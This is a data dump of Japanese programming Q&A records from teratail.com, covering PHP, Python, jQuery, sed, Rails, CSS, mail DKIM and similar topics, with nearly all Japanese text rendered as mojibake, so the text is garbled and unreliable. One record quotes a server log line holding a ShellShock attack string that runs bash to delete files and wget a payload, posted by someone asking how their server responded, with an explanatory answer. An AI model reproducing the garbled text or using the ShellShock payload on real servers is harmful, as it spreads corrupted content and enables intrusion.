"text": "https://qiita.com/melos/items/91dc3b45a589ea5a369b \n\n\nåèURLã«æžããŠããéãã®ããšã宿œã§ããŠããŸããïŒÂ 確èªãã€ã³ããšããŠã¯ \n\n\n1. nginx ã§Â static ãã¡ã€ã«ã®locati... |
dd6c9d9ed874dcd7fe8219671d5c8e8a |
çŸåšã®ã³ãŒã
ä»ã§ããŠããããš
ã»éåæã§ã¢ããããŒãããŠçœ®ããŠä¿åãããããããŒã¿ããŒã¹ã«ä¿åãããã
ã§ããŠãªãããš/ããããããš
JSã«ãŠäœæããŠããhidden屿§ã¿ã°ãç»åèªã¿èŸŒããã³ã«äžæžããçºçããŠããŸãã®ã§
phpã®ç»åã®$piy\_post->img\_id = $post["img"];ã§ä¿åããããæã«æåŸã«éžæç»åããupload
ã§ããŠããŸããã
解決çãšããŠèããŠããã®ã¯
hiddenã¿ã°ãimg[æ°å]ã«ããŠ
phpã«ãŠpost[img]ãè€æ°ãªãforeachããããŠä¿åããããã°
äžæäžæã«ä¿åãããããšæãã®ã§ããããã
éåæã§... | FuelPHPïŒJavaScript éåæéä¿¡ã§ç»åãè€æ°ã¢ããããŒãããç»åã®ä¿åãæžããã
================================================
| teratail.com | 2020.34 | [
{
"text": "\n```\npublic function action\\_add()\n {\n if (empty($post['mode'])){\n $post = Input::post();\n $default_values = array();\n $post = myUtil::setDefaultPostData($post,$default_values);\n $piy_post = Model_PiyPost::forge();\n }\n\n //va... |
31982b96038bc42e0ef48fffadb9afdb |
###  åæã»å®çŸãããããš
python3.Xã䜿çšããŠããŸãã
foræã®äžã§ãèªã¿åã£ãããŒã¿ã«å¯ŸããŠGroupByã¡ãœããã䜿çšããïŒã€ã®ã°ã«ãŒãã«åããŸããã
ãã®ïŒã€ã®ã°ã«ãŒããæ»ãå€ãšããŠæ±ãããã§ãã
###  çºçããŠããåé¡ã»ãšã©ãŒã¡ãã»ãŒãž
foræã®å€ã§returnããããšãïŒã€ã®ã°ã«ãŒãããŒã¿ããæ»ãå€ãè¿ã£ãŠããªãç¶æ³ã§ãã
```
#Groupbyã«ãã£ãŠåããããããŒã¿....1ã€ç®
Bytes
Time
2011-04-23 03:23:49 58.000000
2011-04-23 03:23:50 4... | æ»ãå€ãè€æ°ããå Žåã®åŠç
=============
| teratail.com | 2020.50 | [
{
"text": "åäœæªæ€èšŒã§ããããªã¹ãã«æ ŒçŽããŠè¿ãã®ãå®çªããšæããŸãã \n\n\n\n```\ndef hogehoge():\n group_data = chomechome()\n ret = []\n for i, (key, group) in enumerate(group_data.groupby(['Sec', 'Dst']), start=1):\n group.index = pd.to_datetime(group.index)\n res = group.resample(\"1S\").mean().dropna()\n ... |
f0d1f8cbcfacd9b5eb4a41e6a519a04a |
ããã°ãã¯ãjQueryã§ã®è³ªåã§ã
ã¹ã¯ããŒã«ããã.serviceããã§ãŒãã€ã³ãããšããã¢ãã¡ãŒã·ã§ã³ãã€ããŠããŸã
ããäœçœ®ãŸã§ã¹ã¯ããŒã«ãããŸã§ã¯.serviceã¯è¡šç€ºãããªãã®ã§ããã衚瀺ãããŠããªããšã.serviceã®èŠªèŠçŽ ã§ãã.service-wrapperã®é«ããäœããªã£ãŠããŸããŸã
.service-wrapperã«height:80%;ãšé«ããæå®ããŠãåãæåã«ãªã£ãŠããŸããŸã
äœã.service-wrapperã®é«ããä¿ã€æ¹æ³ã¯ãããŸããã§ãããã
```
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8... | jQueryã¢ãã¡ãŒã·ã§ã³ã«ãŠèŠçŽ ã®é«ããä¿ã¡ãã
=========================
| teratail.com | 2021.43 | [
{
"text": "<https://teratail.com/questions/20357> \n\nãã¡ãã®è³ªåã§è§£æ±ºããããŸãããããããšãããããŸãã\n\n",
"name": "",
"is_accepted": true
}
] |
ed3d02bb430de4c89a7c3d9bd110d862 |
### sedã³ãã³ãã§æå®è¡ã®æååã\ãå«ãæååã«çœ®æããã
sedã³ãã³ããå©çšããŠïŒæå®ãããã¡ã€ã«ã®ããè¡"ã\å«ãæåå"ã§çœ®æããããšæã£ãŠããã®ã§ããïŒåŠçåŸã®æååãèŠãŠã¿ããš\ãæ¶ããŠããŸããŸãïŒ
"\ãå«ãæåå"ã®\ã®åã«\ã远å ãã(\\ã®ããã«ãã)ããšã§ãšã¹ã±ãŒããããæ¹æ³ã¯ç¥ã£ãŠããã®ã§ããïŒ"\ãå«ãæåå"ã«ã¯å€æŽãå ããªãæ¹åã§ã©ãã«ãã§ããªãã§ããããïŒ
### 該åœã®ãœãŒã¹ã³ãŒã
```
str="[(\(2\))]" ããããã/ã\ãå«ãæååãstrã«ä»£å
¥
sed -i "1c ${str}" out.txtã / ou... | sed ã§ã\ããå«ãæååã«çœ®æããã
====================
| teratail.com | 2020.45 | [
{
"text": "å€åã©ããã£ãŠãsedã¯ãšã¹ã±ãŒãã·ãŒã±ã³ã¹ãè§£éããŠããŸããšæãã®ã§ãæå宿°ãèšèŒããéã«äžã
\\ããšã¹ã±ãŒãããã®ããã£ãšãããå Žåãäºåã«sedã§èªåãšã¹ã±ãŒããããæãããã ãšæããŸãã \n\n\n\n```\nstr='[(\\(2\\))]'\nstr=$(echo \"${str}\" | sed 's/\\\\/\\\\\\\\/g')\nsed -i \"1c ${str}\" out.txt\n```\n",
"name": "",
"is_accepted": false
},
{
"text": "`sed`ãããªããŠ`ed`ã¯ã©ãã§ã... |
5e602c43ce72c727ec555b45b177b4fa |
### åæã»å®çŸãããããš
cloud9ã§ã¢ã³ã±ãŒããã©ãŒã ãäœã£ãŠããŸã
### çºçããŠããåé¡ã»ãšã©ãŒã¡ãã»ãŒãž
schema.rbã®äœæãã§ããªã
ãšã©ãŒã¡ãã»ãŒãž
== 20170820174406 CreateAnswers: migrating ====================================
--Â create\_table(:answers)
rake aborted!
StandardError: An error has occurred, this and all later migrations canceled:
SQLite3... | cloud9 ã¢ã³ã±ãŒããã©ãŒã
================
| teratail.com | 2021.31 | [
{
"text": "ã§ã¯`db/development.db`ãšãªã£ãŠãããšããã`db/development.sqlite3`ãšå€ããŠã¿ãŠãã ããã \n\n\n#### 远èš\n\n\ncloud9ã§rails new testãšå®è¡ããŠèªåã§åºæ¥ãdatabase.ymlã§ãã \n\n\n\n```\n# SQLite version 3.x\n# gem install sqlite3\n#\n# Ensure the SQLite 3 gem is defined in your Gemfile\n# gem 'sqlite3'\n#\ndefault: &default\n adapter: sq... |
ae759c22c2e07d4d9c3fddd624b1773a |
Wordpressã§ããã°ã®ãããããŒãžãäœæããŠãããŸãã
flexboxã®ïŒã«ã©ã ã¬ã€ã¢ãŠãã§ãå·ŠåŽã®ã¡ã€ã³ããã¯ã¹ã ãç»é¢äžéšã«ãããåºå®ããŠã
å³åŽã®ãµã€ãããŒã ãããããã¿ãŒãŸã§ã¹ã¯ããŒã«ãããããã«ãããã®ã§ããã
å·Šã®ããã¯ã¹ã®position: sticky; ãå¹ãããç»é¢ã«åºå®ãããŸããã
芪èŠçŽ ãoverflow: hidden ã ãšå¹ããªããªããããªã®ã§ç¢ºèªããŸãããã
ããã¯è©²åœããªãããã§ãã念ã®ããã«overflow: visibleãæå®ããŠããŸãã
ãã©ãŠã¶ã¯chromeã§ãæã
safariãšfirefoxã§ã確èªããªããäœæ¥ããŠãããã§ããã
åå ããã... | CSSã® position: sticky; ãå¹ããŸãã
=============================
| teratail.com | 2020.45 | [
{
"text": "heightãæªèšå®ã ã£ãã®ã§ãèšå®ãããšããã解決ããŸããïŒ\n\n",
"name": "",
"is_accepted": true
}
] |
e74fac272eb32213b046476b5b21421a |
æšæ¥ãPythonã®ãã«ããã€ãæåã®è¡šç€ºæ¹æ³ã«ã€ããŠã質åããè
ã§ãã
<https://teratail.com/questions/9408>
ãã®æã¯ããåçé ããéãã
```
#Â coding:Â utf-8
```
ãšèšè¿°ããããšã§è§£æ±ºã§ããã®ã§ããããŸããã€ãŸãããŠããŸããŸããã
```
#!/usr/bin/env python
#coding : utf-8
html_body = u"""
<html><body>
ããã«ã¡ã¯ã{}ãã<br/>
ä»ã¯ã{}/{}/{} {}:{}:{}ã§ãã
</body></html>"""
import cgi
import datetime... | ãPythonããã«ããã€ãæåã®è¡šç€ºæ¹æ³
=====================
| teratail.com | 2021.25 | [
{
"text": "ãšã³ã³ãŒãã®å®£èšãééã£ãŠããŸãã\n \n`#coding : utf-8`ã§ã¯ãªã`# coding: utf-8`ãŸãã¯`#coding: utf-8`ã§ãã\n \n`coding`ãš`:`ã®éã«ã¹ããŒã¹ã¯å«ããããŸããã\n \n(`#`ãš`coding`ã®éã¯åé¡ãªã)\n \n\n \nãŸããå®éã«åããã(`form['name'].value`ã ãã¯åçŸããŠããªãã®ã§`u'å±±ç°'`ã§ãã)æã\n \n`now.date`ã®æ¥ä»ãæ°å€ã§ã¯ãªã`<built-in method date of datetime.datetime object at 0xb70989f... |
a0d935d36c8bce80146a0c0f3598a812 |
### åæã»å®çŸãããããš
èšäºã®ã³ã¡ã³ãæ°ãæžãåºãããã®æ°åãå¥ããŒãžã®èšäºäžèЧã«èŒããããšããŠããŸããå¥ããŒãžã®ã¢ã€ã³ã³ãèŒããããšãåºæ¥ãã®ã§ãããæ°åã¯åºåã§ããã«å°ã£ãŠããŸããã©ãããã°ããã§ããããã
### 該åœã®ãœãŒã¹ã³ãŒã
```
if ($('#show\_comments').length) {
var come = $('.comments').find('li').length;
$('.cap--info .icon-come').text(come);
}
if($('.article').length) {
$(this).e... | jQueryã®textã§åºåããæ°åãå¥ããŒãžã§èªã¿èŸŒããªã
==============================
| teratail.com | 2021.04 | [
{
"text": "`<iframe>`ãªã©ã§åäžããŒãžäžã«è€æ°ã®ããã¥ã¡ã³ããååšããå Žå以å€ãããããã¥ã¡ã³ãã®ã¹ã¯ãªãããå¥ã®ããã¥ã¡ã³ãã倿Žããããšã¯ã§ããŸããã \n\n\nçŸåšã®æ§æãå°éããŠç®çãéæãããªãã`$.ajax()`ã®`success`ãã³ãã©å
ã§å
¥æããèšäºã®HTMLå
ã®ã³ã¡ã³ããæ°ããŠãçµæãèšäºäžèЧã®ããŒãžã«æ¿å
¥ããã°ããã§ãããã ãã衚瀺ããããŸã§é
ããªããéä¿¡éãå¢ããã®ã§ããããã£ãæ
å ±ã¯ãµãŒããµã€ãã§çæããã®ãçã£åœã§ãã \n\n",
"name": "",
"is_accepted": true
},
{
"text": "â»è³ªåãä¿®... |
017da52455988086c7939604b7fd6a99 |
[ç°å¢]
Linux raspberrypi 3.18.14-v7+
Apache/2.2.22Â (Debian)
GNU bash, version 4.2.37(1)-release
PHPÂ 5.4.41-0+deb7u1
ã¯ãããŸããŠã
çŸåšApacheã§åäœããŠãããµãŒããŒã®ã¢ã¯ã»ã¹ãã°ã«ä»¥äžã®ãããªèšé²ããããŸããã
```
222.186.56.51 - - [25/Jun/2015:21:11:03 +0900] "GET / HTTP/1.1" 200 533 "() { :; }; /bin/bash -c \"rm -rf /tmp/*;echo wget ... | ShellShockãçã£ããªã¯ãšã¹ãã«å¯ŸããŠApacheãµãŒããŒãã©ã®ããã«å¿çãããç¥ããã
================================================
| teratail.com | 2021.21 | [
{
"text": "ãªãã¡ã©ãŒããŠãŒã¶ãŒãšãŒãžã§ã³ãã«ã³ãŒããä»èŸŒãã§ããŸãããç°å¢å€æ°Â HTTP\\_REFERER, HTTP\\_USER\\_AGENTÂ ãæž¡ããŠÂ bash ãå®è¡ããããšã«ãããShellShock ã®è匱æ§ãçªãããšãããã®ã ãšæããŸãã\n \n\n \nãªã¯ãšã¹ãã¯Â \"GET / HTTP/1.1\" ã§ãã®ã§ãæ®éã«ãããããŒãžã«ã¢ã¯ã»ã¹ããŠããŸãã\n \nãããããŒãžãéçãªããŒãž(index.html)ãªãã°Â bash ã¯èµ·åããŸããã®ã§ãã³ãŒãã¯å®è¡ãããŸããã\n \n\n \nãããããŒãžã bash CGI ã ãšåœ±é¿ããããŸãã\n \nPHP ãªã©ã§ã... |
518e454f7a0e7a4dc321e33e61cb88e4 |
ç°å¢
PythonïŒããJupyternoterNotebookããMacBookPro
```
df_IOS_AND=pd.read_csv('IOS\_AND.csv')
#欲ããåã ã衚瀺ãã³ã©ã ãäžèŽããªããããå¿
èŠãªã¢ãã ãã«ãã
df_IOS_AND=dfAdjustIOS[['Date','OS Name']]
df_IOS_AND
```
ãdf\_IOS\_ANDã®çµæã
| Date | OSÂ name | |
| --- | --- | --- |
| 2020-01-01 | IOS | |
| 2020-01-01 | AND | |
| 2020-01-01 | A... | Python æå®ã®æåãå«ãè¡ãåé€ãã
=====================
| teratail.com | 2020.40 | [
{
"text": "`drop`ã䜿ãããã以äžã®ããã«**æ¡ä»¶ãæºããè¡ã®ã¿æœåºãã**ã»ãã簡䟿ããšæããŸãã \n\n\n\n```\nimport pandas as pd\n\ndf = pd.DataFrame({'id':[1,2,3,4],'name':['a','i','i','a']})\ndf_ret = df[df['name'] != 'a']\nprint(df_ret)\n# id name\n#1 2 i\n#2 3 i\n```\n",
"name": "",
"is_accepted": true
}
] |
a15012201232e62c40054639aec81dd9 |
itemãšè©äŸ¡ããŒãã«ãïŒã€ãããitemãšè©äŸ¡ã®å¹³åããŸãšããŠããã€ãUserIDã¯itemããŒãã«ã®å€ãå©çšãããã®ã§ãããããŸããããŸããã
SQLãã©ã®ããã«èšèŒãã¹ããæããŠãã ããã
MAX(userID)ããããªãã®ã§ãããSelectã§å¹³åå€ããå€ãleftjoinã§ããã®ã§ããããïŒ
```
select `itemID`, MAX(Name), AVG(value) as r_avg from `table\_a` left join `table\_b` on `table\_a`.`itemID` = `table\_b`.`itemID` left join `table\_c` on... | SQLã«ãããå¹³åå€Joinæã®ç¹å®ãã£ãŒã«ãååŸå€ã®ããŒãã«æå®ã«ã€ããŠ
=====================================
| teratail.com | 2020.45 | [
{
"text": "ãã¿ãŸãããåéãã§ããã \n\nleft join `table_c` on `table_a`.`UserId` = `table_c`.`UserId` \n\nãšããŠããã®ã§ãå¿
ãtable\\_aã®UserIDã®å€ãå
¥ã£ãŠããŠåé¡ãããŸããã§ããã\n\n",
"name": "",
"is_accepted": true
}
] |
eb2ae515cbd2446158c8ba103c9cd561 |
ãã€ããäžè©±ã«ãªã£ãŠãããŸãã
utunãšç³ããŸãã
ãã®åºŠTwitter APIãå©çšããã·ã¹ãã ãäœãå§ããã®ã§ããã第äžè
ãŠãŒã¶ã®ã¢ã¯ã»ã¹ããŒã¯ã³ååŸã«åœããã
ã¢ããªé£æºèš±å¯æžã¿ã®ã¢ã«ãŠã³ãã®èªèšŒãè¡ãéã«ããå床ãxxxãããªãã®ã¢ã«ãŠã³ããå©çšããããšãèš±å¯ããŸãã?ã
ã®ç»é¢ãåºãŠããŸããŸãã
åœæ¹ã§èª¿ã¹ããšãããã[authorize](https://dev.twitter.com/oauth/reference/get/oauth/authorize)ãã ãšæ¯å確èªãããããã[authenticate](https://dev.twitter.com/oauth... | Twitterã®oauth/authenticateã«ã€ããŠ(PHP)
===================================
| teratail.com | 2021.43 | [
{
"text": "Twitter Application ManagementããŒãžã«ãŠã以äžã®é
ç®ããã§ãã¯ããŠããªãã ãã§ããã\n \nãAllow this application to be used to Sign in with Twitterã\n \n\n \näœãç°¡åãªèŠèœãšãã ãšã¯æã£ãŠããŸããããæ³å以äžã«ã²ã©ãçµæ«ã\n \nã»ãšãã©ããªããšæããŸãããåæ§ã®çç¶ã®æ¹ã®ãåèã«ãªãã°å¹žãã§ãã \n",
"name": "",
"is_accepted": true
}
] |
919435ea43b6f0d617692c99a527b79f |
groupã¡ãœããã䜿ã£ãŠçµæãã°ã«ãŒãåããŸããã
ãã®ããŒã¿ãçµããã¿ããã®ã§ãããã©ãããã°ã§ããŸãã§ããããïŒ
ã©ãªããæããŠããã ããŸãããïŒ
| Rails éèšçµæãããšã«ããŒã¿ãçµããã¿ãã
========================
| teratail.com | 2019.43 | [
{
"text": "havingã¡ãœããã䜿ããšè¯ãã§ãã\n \nããã¯SQLã®HAVINGå¥ã«çžåœãããã®ã§ãã\n \nããšãããã·ã¥ã¯å©çšã§ããªãã®ã§æ³šæãå¿
èŠã§ãã \n",
"name": "",
"is_accepted": true
}
] |
f4ce4e8f26540c9138ae05fea62f1042 |
###  åæã»å®çŸãããããš
åæ©çãªè³ªåã§æçž®ã§ãã
railsãã¥ãŒããªã¢ã«ã®ãµã³ãã«ã¢ããªã«ãŠæçš¿ããæç« ãç·šéã§ããæ©èœãå®è£
ããããšããŠããŸãã
ç·šéç»é¢ã®ãã¥ãŒãçšæããeditã¢ã¯ã·ã§ã³ãã³ã³ãããŒã©ã«èšèŒããŠãlink\_toã¡ãœããã§edit\_micropost\_pathã䜿ã£ãŠç·šéç»é¢ã«é£ã°ãããšããŠããŸãã
ã§ããçŸåšç·šéã®ãªã³ã¯èªäœã¯æçš¿ã®ãã£ãŒãã«æ£åžžã«è¡šç€ºãããŸããããã®ãªã³ã¯ãã¯ãªãã¯ããŠé£ãŒããšãããšããã§äžèšã®ãšã©ãŒãçºçããŸãã
###  çºçããŠããåé¡ã»ãšã©ãŒã¡ãã»ãŒãž
äžèšã®ããã«ãmicropostã®idãååŸã§ããªããšæãããããŠãããŸãã
... | ç¹å®ã®æçš¿ãç·šéãªã³ã¯ããååä»ãã«ãŒãïŒedit\_micropost\_pathïŒã§ç·šéç»é¢ãžé£ã°ãéã«ããã®æçš¿ã®idãæž¡ãæ¹æ³
===================================================================
| teratail.com | 2020.50 | [
{
"text": "controllerã®editéšåã \n\n\n\n```\n@micropost = Micropost.find(params[:id])\n```\n\n \n\nã«å€æŽããŠã\\_micropost.html.erbã®ãlink\\_to 'ç·šé'ãã®éšåã \n\n\n\n```\n<%= link\\_to \"ç·šé\" , edit\\_micropost\\_path(@micropost) %>\n```\n\n \n\nãšããŠã¿ããã©ãã§ããããïŒ \n\n",
"name": "",
"is_accepted": false
}
] |
31e3ecd9053f19e33268a30a06ff9925 |
gulp.jsã䜿çšããŠãjadeãhtmlã«å€æãããŠããŸãã
ãããå®éã«åºåãããhtmlãéããŠã¿ããšãjadeåŽã«æžããã·ã³ã°ã«ã¯ãªãŒãã¯ããã«ã¯ãªãŒãã«ãããã«ã¯ãªãŒãã¯"ã«åæã«çœ®ãæãã£ãŠããŸããŸãã
ä»åãwordpressã®åºå®ããŒãžãæžãç®çã§jadeã䜿çšããŠããã®ã§ãããåŒæ°ã€ãã®ã·ã§ãŒãã³ãŒãã䜿ãããããã«ãã·ã³ã°ã«ã»ããã«ã¯ãªãŒãã®èªå眮ãæããç¡å¹åããããšæã£ãŠããŸãã
眮ãæããããŠããŸã£ãç¶æ
ã§ã¯ã·ã§ãŒãã³ãŒããšããŠèªèããŠãããªããããæäœæ¥ã§ãã¡ãã¡ã·ã³ã°ã«ã»ããã«ã¯ãªãŒãã®éšåã ãå
ã«æ»ãå¿
èŠããããéåžžã«é¢åã§ãã
眮ãæããç¡å¹åããæ¹æ³ã¯ãªãã§... | gulp.jsã§jadeã倿ãããšãã·ã³ã°ã«ã»ããã«ã¯ãªãŒããåæã«çœ®ãæããããŠããŸã
=============================================
| teratail.com | 2020.45 | [
{
"text": "屿§åã®ã€ã³ãŒã«ã®åã«ããã¯ãªããŒã¯ãå
¥ãããšããšã¹ã±ãŒããç¡å¹åã§ãããšããããšãå¿ããŠãããŸããã\n \n以äžãä¿®æ£åŸã®ãœãŒã¹ãšåºåçµæã§ãã\n \n\n```\n//- jade\np\n    a(href!='[permalink slug=\"test\"]') ãã¹ã\n```\n\n```\n<!-- åºåçµæÂ -->\n<p><a href=\"[permalink slug=\"test\"]\">ãã¹ã</a></p>\n```\nããããã®æ¹æ³ã§ããã·ã³ã°ã«ã¯ãªãŒããããã«ã¯ãªãŒãã«çœ®ãæããçŸè±¡ã¯æ¢ããããŸããã§ããã\n \nããã«ã¯ãªãŒããããã«ã¯ãªãŒãã§... |
faaa136d815a752c771552f33b57e037 |
OSã¯Linux Debianã䜿çšããŠãããAndroid Studio2.1.2ã«OpenCV3.1.0 ãå°å
¥ããŠããã°ã©ã ãäœæããŠããŸãã
ã¿ã€ãã«éããMat圢åŒã®å€æ°ã«new Mat()ãªã©ã®ããŒã¿ã代å
¥ãããšå®è¡ãšã©ãŒãçºçããããã°ã©ã ã匷å¶çµäºãããŠããŸããŸãã
ãã ãinputFrameã代å
¥ããå Žåã¯å®è¡ãšã©ãŒã¯çºçããŸããã
å°å
¥ã«ã€ããŠã¯
FairuïŒNewïŒImprot Moduleã§OpenCVã®Javaãã©ã«ãéžæããŠèªã¿èŸŒã¿ãOpenCVã®build.gradleã®compileSdkVersionã24ã«å€æŽããŸããã
æ§ã
ãªãµã€ãã調ã¹ãã®ã§ããã1é±éç«... | Androidã§Matã«ä»£å
¥ãããšå®è¡ãšã©ãŒãèµ·ãã
==========================
| teratail.com | 2020.16 | [
{
"text": "æ£ããã©ã€ãã©ãªãèªã¿èŸŒããŠããªãããã§ãããã©ã€ãã©ãªã®ããŒãã¯ããŸãããïŒ \n\n\nãŸããå°å
¥ãããšã¯ã©ããã£ãå°å
¥æ¹æ³ã§ããããïŒãªã«ãããã®ãã远èšããŠãã ããã\n\n",
"name": "",
"is_accepted": true
}
] |
040836cfb0c41c7801c7156dcd7292b0 |
çŸåšãèµ·ãã£ãŠããåé¡ã¯äžèšãšãªããŸãã
éä¿¡å°çšã®ã¡ãŒã«ãµãŒãã®ãã¡ã€ã³ã@**mail.example.jp**ã§ã
éä¿¡ããéã«sender\_canonical\_mapsã§
Return-Pathãsupport@mail.example.jpã®supportã¢ã«ãŠã³ãã«å€ããŠã¡ãŒã«ãéã£ãŠããŸãã
ãã®ã¡ãŒã«ãµãŒãããdocomo.ne.jp i.softbank.jp ezweb.ne.jpå®ãŠã®ãã£ãªã¢åãã¢ãã¬ã¹ã«ã¡ãŒã«éä¿¡ãè¡ããŸãã
åä¿¡ãããã£ãªã¢ã¡ãŒã«ãéä¿¡ã¢ãã¬ã¹ã«è¿ä¿¡ããŸãã
è¿ä¿¡ãããã¡ãŒã«ã¯å
ã®éä¿¡å°çšã¡ãŒã«ãµãŒãã«å°çãã/etc/aliasã§æå®ãããã¢ã«ãŠ... | åä¿¡ã¡ãŒã«ã®è»¢éæã«no signing table matchãšãªãè¿·æã¡ãŒã«æ±ãããã
=============================================
| teratail.com | 2019.43 | [
{
"text": "DKIMã®çœ²åããããªããŠè¿·æã¡ãŒã«ãšå€å®ãããŠããã®ã§ããã°ãäžèšãåèã«ããããŒfromãæžãæããã°opendkimã§DKIM眲åãããŠãããŠdkimèªèšŒã¯passãããããããŸãããæªæ€èšŒã§äœãå¯äœçšãããããã \n\nhttps://fsck.jp/?p=311 \n\n\n転éã¡ãŒã«ã®dkimã¯è«ŠãããDMARCãarcã«å¯Ÿå¿ããã¡ãã§å€å®ããæ¹ããããšæããŸãã \n\nã¡ãŒã«æ¥çã§ã¯æããããåé¡ã§ãã \n\ndkimã¯ããããã¡ãŒã«ããŒã¿ã®æ¹ç«ãæ€ç¥ããä»çµã¿ã§ãã \n\næ¹ç«ããŠç¡çãã眲åããã¡ãŒã«ãæ€èšŒããããšã¯ç¡æå³ã§ãã \n\nopendkimã§ç¹å®... |
e2e334bea2c46f7f60927e42f0e615ff |
ããã°ãµã€ãã«ãã€ãã¿ãŒã®ãã€ãŒããã©ã°ã€ã³ãèšçœ®ããŠããŸãã
datacount-urlãæå®ããŠããŸããããã€ãŒãæ°ã衚瀺ãããŸããã
ã¡ãªã¿ã«ãå®éã«ãã€ãŒãããŠããURLã«ã¯ã广éèšçšã®ãã©ã¡ãŒã¿ãã€ããŠããŸãã
ãã©ã¡ãŒã¿ãŒãã€ããŠãããšãã ããªã®ã§ããããïŒ
| twitterã®ãã€ãŒããã©ã°ã€ã³ã§ãã€ãŒãæ°ã衚瀺ãããŸãã
===============================
| teratail.com | 2021.10 | [
{
"text": "data-counturlãšééããŠããããããªãã§ãããã\n \nãšãããã[ãã](https://about.twitter.com/resources/buttons#tweet)䜿ã£ãŠã¿ããã©ãã§ããã \n",
"name": "",
"is_accepted": false
},
{
"text": "ã¢ãã¬ã¹ã®æå®ã¯Â `data-url` ã ã£ããšæããŸãã\n \nãããã¯Â class ã `twitter-share-button` ã«ãªã£ãŠããªããšãã§ã¯ãªãã§ããããïŒ\n \n\n \nãã¿ã³éšåã®ã¿ã°ã¯ãªãã·ã§ã³ãšãã€ããŠããª... |
015e6f984b4c123e473d8e4868c0f96c |
Windowsäžã§tgzãã¡ã€ã«ã®è§£åãè¡ããããšèããŠããŸãïŒ
ããªãŒãœãããããã€ãæ€èšããŠããã®ã§ããïŒ
è§£åããããã¡ã€ã«ã«ã¯ïŒ
001.tgz-a
001.tgz-b
001.tgz-c
ã®ããã«åå²ããããã®ãååšããŸãïŒ
åå²ãããŠãããã¡ã€ã«ã¯ã©ã®ããã«è§£åãè¡ãã°ããã®ã§ããããïŒ
ãææãé¡ãããããŸãïŒ
| åå²ãããtgzãã¡ã€ã«ã®è§£å(Windows)
========================
| teratail.com | 2021.21 | [
{
"text": "åå²ã®æ¹æ³ãåçŽã«åããããã ãã§ããã°ãcopyã³ãã³ãã§äžã€ã«ã§ããŸãã\n \nã³ãã³ãããã³ããäžã§äžèšãå®è¡ããŠã¿ãŠäžããã\n \n\n```\ncopy /b 001.tgz-a + 001.tgz-b  + 001.tgz-c 001.tgz\n```\nâ»Â copy çŽåŸã®Â /b ãå¿ããã«ãããããªããšå£ãããã¡ã€ã«ãã§ãããããŸãã\n \nããšã¯001.tgzãé©åœãªå§çž®è§£åã¢ããªã§å±éããã°ã§ãããšæããŸãã \n",
"name": "",
"is_accepted": false
},
{
"text": "ãtgz åå²Â è§£... |
2f730f27e864e774bb02924d5584dcc9 |
###  åæã»å®çŸãããããš
ãäžè©±ã«ãªã£ãŠãããŸãã
ä»åãããŒã¿ããŒã¹ããããŒã¿ãååŸããããããã°ã©ã ãçµãã§ããã®ã§ããã
ãã©ãŠã¶ã§ç¢ºèªãè¡ãããšãããš500ãšã©ãŒãè¿ã£ãŠããŠããŸããŸãã
ãšã©ãŒã®å
容ã確èªããã®ã§ããã@AutowiredãããããããããŸã§ããçè§£ã§ããã
ããããæ·±ãéšåã§ã®åå ãããããªããããçžè«ãããŠãã ããã
###  çºçããŠããåé¡ã»ãšã©ãŒã¡ãã»ãŒãž
```
ãäŸå€ã
javax.servlet.ServletException: ãµãŒãã¬ãã [dispatcherServlet] ã®Servlet.init()ãäŸå€ãæããŸãã
o... | ãMyBatis-SpringããµãŒãããããŒã¿ãååŸããããšãããš500ãšã©ãŒãè¿ã£ãŠããŠããŸã
=================================================
| teratail.com | 2020.16 | [
{
"text": "ã³ã³ãããŒã©ãŒãããµãŒãã¹ãã¡ã€ã«ãã€ã³ããŒãã§ããŠããªãã£ãããšãåå ã§ããã \n\n@Controller ãä»äžããŠãããã¡ã€ã«ã以äžã®ããã«å€æŽãããšããã解決ããŸããã \n\n\n倿Žå \n\n\n\n```\n@Controller\npublic class TestController {\n```\n\n倿ŽåŸ \n\n\n\n```\n@Controller\n@Import(TestService.class)\npublic class TestController {\n```\n",
"name": "",
"is_accepted": tru... |
413b17195f8d1a7718fb70f51b9ce3f7 |
### åæã»å®çŸãããããš
ãäžè©±ã«ãªã£ãŠããŸãã
ã©ãã«ãäžæããããªãã床ã
ç³ãèš³ãªãã®ã§ããããåãåããããããšæããŸãã
èŠä»¶ãšããŠã¯èŠåºãããã¶ã€ã³ã®é¢ä¿ã§borderã®é«ããå€ãããã§ãã
äžèšãçæ³ã®äžãäžå¿2éãèããã®ã§ããããããããäžæ©è¶³ããªãéšåãããå°ã£ãŠãŸãã
çæ³åœ¢
[](https://teratail-v2.storage.google... | borderã®é«ããéäžããå€ããã
==================
| teratail.com | 2021.25 | [
{
"text": "ããããããšã§ããããã \n\n\n\n```\nh2{\n border-bottom: solid 1px #eee/*#fff*/;\n position: relative;\n padding:30px 0;\n}\n\nh2:after {\n position: absolute;\n content: \" \";\n display: block;\n border-bottom: solid 3px;\n border-image: linear-gradient(to right, rgb(0, 129... |
3ee5195d0cc2a91734d4d1a96e30e110 |
Unityã§ã¢ããªã補äœäžãªã®ã§ãããã¢ããªå
ã§è¡šç€ºããã¢ãã¡ãŒã·ã§ã³ãFlashã§äœæãããããLWF for Unityã䜿ã£ãŠUnityã«çµã¿èŸŒã¿ãŸããã
ãšãã£ã¿ãŒäžãAndroid端æ«ã§ã¯ãã¡ããšåçãããã®ã§ãããiOS端æ«ã§ã¯äœæ
ãåçãããŸããã
以äžãéçºç°å¢ãšXcodeäžã§è¡šç€ºãããŠãããšã©ãŒæã§ãã
ãšã©ãŒæã«é
åç¡å¹ãšè¡šèšãããã®ã§ããã衚瀺ãããã¹ã¯ãªããã«ã¯é
åãäžå䜿ã£ãŠããªãã®ã§LWFã®ã©ã€ãã©ãªã§äœ¿ãããŠããã¿ããã§ãã
åå ã®ãããæ¹ãããã£ããããŸããããææãé¡ãããããŸãã
iOSÂ 8.2
Xcode 6.2
Unity 4.6.3
... | LWF for Unityã§çµã¿èŸŒãã FlashãiOSã§åçãããªã
===================================
| teratail.com | 2021.43 | [
{
"text": "LWFSãšäœ¿çšããŠããUnityã®ããŒãžã§ã³ã®çµã¿åãããæªãã£ãããã§ãUnityã®ããŒãžã§ã³ãææ°ã«ãããåé¡ãªã衚瀺ãããŸããã \n",
"name": "",
"is_accepted": true
}
] |
f55ca4f17bed9c6fa3445c05d3dc5446 |
###  åæã»å®çŸãããããš
Javaã§
âbubble sortãå©çšããä¹±æ°100åãçæããŠããããããœãŒãããâ
